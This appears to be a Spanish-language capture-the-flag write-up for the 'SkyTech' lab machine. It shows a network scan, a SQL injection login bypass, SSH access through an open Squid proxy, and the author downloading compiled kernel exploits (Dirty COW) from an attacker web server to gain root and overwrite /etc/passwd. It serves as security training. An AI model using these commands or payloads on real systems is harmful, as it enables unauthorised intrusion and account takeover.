SkyTech
Descubrimiento
Sección titulada «Descubrimiento»Como la máquina tiene un puerto HTTP:80, filtraré por eso en el escaneo de NMAP.
┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ nmap 172.20.0.0/24 -p 80 --openStarting Nmap 7.95 ( https://nmap.org ) at 2026-02-27 15:07 CET...
Nmap scan report for 172.20.0.191Host is up (0.0014s latency).
PORT STATE SERVICE80/tcp open httpMAC Address: 08:00:27:C0:0B:19 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)...
Nmap done: 256 IP addresses (48 hosts up) scanned in 25.73 seconds┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ nmap -T4 -sV -sC 172.20.0.191 -p-Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-27 15:16 CETNmap scan report for 172.20.0.191Host is up (0.0069s latency).Not shown: 65532 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp filtered ssh80/tcp open http Apache httpd 2.2.22 ((Debian))|_http-title: Site doesnt have a title (text/html).|_http-server-header: Apache/2.2.22 (Debian)3128/tcp open http-proxy Squid http proxy 3.1.20| http-open-proxy: Potentially OPEN proxy.|_Methods supported: GET HEAD|_http-server-header: squid/3.1.20|_http-title: ERROR: The requested URL could not be retrievedMAC Address: 08:00:27:C0:0B:19 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 30.68 seconds┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ curl http://172.20.0.191/<html> <body>
<div style="height:100%; width:100%;background-image:url('background.jpg'); background-size:100%; background-position:50% 50%; background-repeat:no-repeat;"> <div style=" background-color:white; border-color: #000000; border-width: 5px; border-style: solid; width: 300px; height:180px; position:absolute; top:50%; left:50%; margin-top:-100px; /* this is half the height of your div*/ margin-left:-100px; "> <form style="margin: 0 auto;width:250px;" action='login.php' method='POST'> <br><strong>Skytech Login:</strong><br><br> <label for="email" style="display: inline-block; width: 90px;" >E-mail:</label> <input name="email" type="text" size=15 ><br><br> <label for="password" style="display: inline-block; width: 90px;">Password:</label> <input name="password" type="password" size=15><br><br> <input type="submit" value="Login"> </form> </div>
</div> </body></html>POST /login.php HTTP/1.1Host: 172.20.0.191Content-Length: 22Cache-Control: max-age=0Accept-Language: es-ES,es;q=0.9Origin: http://172.20.0.191Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://172.20.0.191/Accept-Encoding: gzip, deflate, brConnection: keep-alive
email=asd&password=asd┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ sqlmap -r torres.req┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ sqlmap -r torres.req ___ __H__ ___ ___[,]_____ ___ ___ {1.9.11#stable}|_ -| . [)] | .'| . ||___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:20:23 /2026-02-27/...HTTP Proxy
Sección titulada «HTTP Proxy»http://172.20.0.191:3128/
Fuzzing
Sección titulada «Fuzzing»┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ ffuf -u http://172.20.0.191/FUZZ -w /mnt/d/Otros/wordlists/directory-list-2.3-big.txt -fc 404
/'___\ /'___\ /.___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/
v2.1.0-dev________________________________________________
:: Method : GET :: URL : http://172.20.0.191/FUZZ :: Wordlist : FUZZ: /mnt/d/Otros/wordlists/directory-list-2.3-big.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response status: 404________________________________________________
index [Status: 200, Size: 1136, Words: 176, Lines: 34, Duration: 4431ms]background [Status: 200, Size: 2572609, Words: 12795, Lines: 10401, Duration: 2ms]Explotación
Sección titulada «Explotación»email='&password=asdHTTP/1.1 200 OKDate: Fri, 27 Feb 2026 14:34:35 GMTServer: Apache/2.2.22 (Debian)X-Powered-By: PHP/5.4.4-14+deb7u9Vary: Accept-EncodingContent-Length: 189Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'asd'' at line 1]' || 1=1 #
POST /login.php HTTP/1.1Host: 172.20.0.191Content-Length: 37Cache-Control: max-age=0Accept-Language: es-ES,es;q=0.9Origin: http://172.20.0.191Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://172.20.0.191/Accept-Encoding: gzip, deflate, brConnection: keep-alive
email=%27+%7C%7C+1%3D1+%23&password=aWelcome john@skytech.com
As you may know, SkyTech has ceased all international operations.
To all our long term employees, we wish to convey our thanks for your dedication and hard work.
Unfortunately, all international contracts, including yours have been terminated.
The remainder of your contract and retirement fund, $2 ,has been payed out in full to a secure account. For security reasons, you must login to the SkyTech server via SSH to access the account details.
Username: johnPassword: hereisjohn
We wish you the best of luck in your future endeavors.El puerto SSH:22 que hay está filtrado, por lo que no puede accederse directamente. Para hacerlo, será seguramente necesario hacerlo a través del proxy.
Una rápida búsqueda muestra cómo hacer este tipo de conexiones.
ssh USER@FINAL_DEST -o "ProxyCommand=nc -X connect -x PROXYHOST:PROXYPORT %h %p"
Pero no funciona por sí solo, hay que especificar que sea HTTP.
ProxyCommand /usr/bin/ncat --proxy-type http --proxy 172.18.10.1:3128 %h %p
┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ ssh -t -o ProxyCommand="ncat --proxy 172.20.0.191:3128 --proxy-type http %h %p" john@localhost /bin/bash --noprofile --norc┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ ssh -t -o ProxyCommand="ncat --proxy 172.20.0.191:3128 --proxy-type http %h %p" john@localhost /bin/bash --noprofile --norcThe authenticity of host 'localhost (<no hostip for proxy command>)' can't be established.ECDSA key fingerprint is: SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGcThis key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'localhost' (ECDSA) to the list of known hosts.** WARNING: connection is not using a post-quantum key exchange algorithm.** This session may be vulnerable to "store now, decrypt later" attacks.** The server may need to be upgraded. See https://openssh.com/pq.htmljohn@localhost password:Permission denied, please try again.john@localhost's password:bash-4.2$ iduid=1000(john) gid=1000(john) groups=1000(john)bash-4.2$ sudo -lsudo: unable to resolve host ciber-5
We trust you have received the usual lecture from the local SystemAdministrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for john:Sorry, user john may not run sudo on ciber-5.bash-4.2$Estamos dentro.
Escalada
Sección titulada «Escalada»┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ searchsploit linux kernel 3.2.0 privilege escalation---------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------------------------------------------------------------- ---------------------------------Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation | solaris/local/15962.cLinux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation | linux/local/50135.cLinux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method) | linux/local/40616.cLinux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40847.cppLinux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40839.cLinux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1) | linux/local/18411.cLinux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2) | linux/local/35161.cLinux Kernel 3.0 < 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation | linux/local/38390.cLinux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Escalation | linux_x86-64/local/33516.cLinux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3) | linux_x86-64/local/33589.cLinux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation | linux/local/41886.cLinux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation | linux/local/34923.cLinux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation | linux_x86-64/local/44302.cLinux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation | linux_x86-64/local/34134.cLinux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation | arm/local/31574.cLinux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation | linux_x86-64/local/44299.cLinux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2) | linux_x86-64/local/26131.cLinux Kernel < 3.8.x - open-time Capability 'file_ns_capable()' Local Privilege Escalation | linux/local/25450.cLinux kernel < 4.10.15 - Race Condition Privilege Escalation | linux/local/43345.cLinux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation | linux/local/45553.cLinux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.cLinux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.cLinux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux_x86-64/local/44300.cLinux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.cLinux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c---------------------------------------------------------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsCLONE_NEWUSER
Sección titulada «CLONE_NEWUSER»┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ searchsploit -m 38390 Exploit: Linux Kernel 3.0 < 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation URL: https://www.exploit-db.com/exploits/38390 Path: /usr/share/exploitdb/exploits/linux/local/38390.c Codes: N/A Verified: TrueFile Type: C source, ASCII textCopied to: /home/kali/38390.c
┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ cp 38390.c /mnt/d/Otros/bash-4.2$ wget http://172.20.0.168/files/Otros/38390.c--2026-02-27 10:01:35-- http://172.20.0.168/files/Otros/38390.cConnecting to 172.20.0.168:80... connected.HTTP request sent, awaiting response... 200 OKLength: 3762 (3.7K) [application/octet-stream]Saving to: `38390.c'
100%[====================================================================================================================>] 3,762 --.-K/s in 0s
2026-02-27 10:01:36 (22.0 MB/s) - `38390.c' saved [3762/3762]
bash-4.2$ ls -latotal 28drwx------ 2 john john 4096 Feb 27 10:01 .drwxr-xr-x 5 root root 4096 Jun 20 2014 ..-rw-r--r-- 1 john john 3762 Feb 27 10:01 38390.c-rw------- 1 john john 7 Jun 20 2014 .bash_history-rw-r--r-- 1 john john 220 Jun 20 2014 .bash_logout-rw-r--r-- 1 john john 3437 Jun 20 2014 .bashrc-rw-r--r-- 1 john john 675 Jun 20 2014 .profilebash-4.2$ chmod 777 38390.cbash: gcc: command not found┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ gcc 38390.c -o exploit -static
┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ cp exploit /mnt/d/Otros/bash-4.2$ ./exploit[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
[+] Found myself: '/home/john/exploit'[*] Parent waiting for boomsh to appear ...[*] Setting up chroot ...[-] link: Operation not permittedDirty COW
Sección titulada «Dirty COW»┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ searchsploit -m 40839 Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) URL: https://www.exploit-db.com/exploits/40839 Path: /usr/share/exploitdb/exploits/linux/local/40839.c Codes: CVE-2016-5195 Verified: TrueFile Type: C source, ASCII textCopied to: /home/kali/40839.c
┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ gcc -pthread 40839.c -o dirty -lcrypt -static
┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ cp dirty /mnt/d/Otros/bash-4.2$ wget http://172.20.0.168/files/Otros/dirty--2026-02-27 10:07:16-- http://172.20.0.168/files/Otros/dirtyConnecting to 172.20.0.168:80... connected.HTTP request sent, awaiting response... 200 OKLength: 1127608 (1.1M) [application/octet-stream]Saving to: `dirty'
100%[====================================================================================================================>] 1,127,608 107K/s in 11s
2026-02-27 10:07:27 (102 KB/s) - `dirty' saved [1127608/1127608]
bash-4.2$ chmod 777 dirtybash-4.2$ mv dirty /tmpbash-4.2$ cd /tmpbash-4.2$ ls -latotal 1112drwxrwxrwt 2 root root 4096 Feb 27 10:07 .drwxr-xr-x 24 root root 4096 Jun 20 2014 ..-rwxrwxrwx 1 john john 1127608 Feb 27 10:07 dirtybash-4.2$ ./dirty/etc/passwd successfully backed up to /tmp/passwd.bakPlease enter the new password:Complete line:firefart:fihn2.nq3JnMg:0:0:pwned:/root:/bin/bash
mmap: 7fe5a6e7f000
madvise 0
ptrace 0Done! Check /etc/passwd to see if the new user was created.You can log in with the username 'firefart' and the password 'asixcv'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwdDone! Check /etc/passwd to see if the new user was created.You can log in with the username 'firefart' and the password 'asixcv'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd┌──(kali㉿DESKTOP-3V92LT1)-[~]└─$ ssh -t -o ProxyCommand="ncat --proxy 172.20.0.191:3128 --proxy-type http %h %p" john@localhost /bin/bash --noprofile --norc** WARNING: connection is not using a post-quantum key exchange algorithm.** This session may be vulnerable to "store now, decrypt later" attacks.** The server may need to be upgraded. See https://openssh.com/pq.htmljohn@localhost's password:bash-4.2$ cat /etc/passwdfirefart:fihn2.nq3JnMg:0:0:pwned:/root:/bin/bash/usr/g/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shsshd:x:101:65534::/var/run/sshd:/usr/sbin/nologinmysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/falsejohn:x:1000:1000:john,,,:/home/john:/bin/bashsara:x:1001:1001:,,,:/home/sara:/bin/bashwilliam:x:1002:1002:,,,:/home/william:/bin/bashbash-4.2$ su firefartPassword:firefart@ciber-5:/home/john# sudo -lsudo: unknown user: rootsudo: unable to initialize policy pluginfirefart@ciber-5:/home/john# cd /rootfirefart@ciber-5:~# ls -latotal 36drwx------ 4 firefart root 4096 Jun 20 2014 .drwxr-xr-x 24 firefart root 4096 Jun 20 2014 ..drwx------ 2 firefart root 4096 Jun 20 2014 .aptitude-rw------- 1 firefart root 265 Feb 3 15:03 .bash_history-rw-r--r-- 1 firefart root 570 Jan 31 2010 .bashrc-rwx------ 1 firefart root 69 Jun 20 2014 flag.txt-rw------- 1 firefart root 268 Jun 20 2014 .mysql_history-rw-r--r-- 1 firefart root 140 Nov 19 2007 .profiledrwx------ 2 firefart root 4096 Jun 20 2014 .sshfirefart@ciber-5:~# cat flag.txtCongratz, have a cold one to celebrate!root password is theskytowerfirefart@ciber-5:~#